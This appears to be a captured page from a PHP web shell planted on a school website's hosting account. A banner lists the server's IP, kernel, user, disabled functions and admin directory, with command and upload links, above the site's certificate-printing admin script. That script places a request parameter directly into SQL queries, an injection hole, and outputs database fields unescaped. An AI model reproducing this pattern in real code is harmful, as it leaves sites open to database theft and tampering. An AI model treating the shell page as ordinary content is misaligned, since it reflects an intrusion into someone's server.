|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.52 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u490972518/domains/bpscps.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("../link/databaseconnection.php");
$id=$_REQUEST['flag'];
$sel="select * from achievement where id ='$id' order by id asc";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$student_id=$row['student_id'];
$session=$row['session'];
$sel3="select * from registration where id ='$student_id' and session='$session' order by id asc";
$res3=mysqli_query($conn,$sel3);
$row3=mysqli_fetch_array($res3,MYSQLI_BOTH);
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Sofia">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.container {
position: relative;
text-align: center;
color: white;
}
.bottom-left {
position: absolute;
bottom: 8px;
left: 16px;
}
.top-left {
position: absolute;
top: 8px;
left: 16px;
}
.top-right {
position: absolute;
top: 8px;
right: 16px;
}
#name {
position: absolute;
top: 530px;
left: 440px;
color:black;
}
#father {
position: absolute;
top: 590px;
left: 690px;
color:black;
}
#class {
position: absolute;
top: 530px;
left: 920px;
color:black;
}
#position {
position: absolute;
top: 590px;
left: 1100px;
color:black;
}
#session {
position: absolute;
top: 670px;
left: 220px;
color:black;
}
#photo {
position: absolute;
top: 670px;
left: 620px;
color:black;
font-size:22px;
font-weight:bold;
}
@media print {
#name {
position: absolute;
top: 405px;
left: 300px;
color:black;
font-size:27px;
font-weight:bold; }
#class {
position: absolute;
top: 405px;
left: 760px;
color:black;
font-size:27px;
font-weight:bold;
}
#father {
position: absolute;
top: 457px;
left: 520px;
color:black;
font-size:22px;
font-weight:bold;
}
#position {
position: absolute;
top: 457px;
left: 820px;
color:black;
font-size:22px;
font-weight:bold;
}
#session {
position: absolute;
top: 512px;
left: 180px;
color:black;
font-size:22px;
font-weight:bold;
}
#photo {
position: absolute;
top: 512px;
left: 580px;
color:black;
font-size:22px;
font-weight:bold;
}
}
</style>
</head>
<body>
<div class="container" >
<div style='border:4px solid'>
<img src="../images/new5.png" alt="Snow" style="width:100%;">
<div >
<span id="name"><i><?php echo $row3['name'];?></i></span>
<span id="father"><i><?php echo $row['acheive'];?></i></span>
<span id="class"><i><?php echo $row3['subject'];?></i></span>
<span id="position"><i><?php echo $row['with1'];?></i></span>
<span id="session"><i><?php echo $row3['session'];?></i></span>
<span id="photo"><img src="../code/img/<?php echo $row3['picture'];?>" height="100px" width="100px;" style='border:2px solid black'></span>
</div>
<div class="pic"></div>
</div>
</div>
</body>
</html>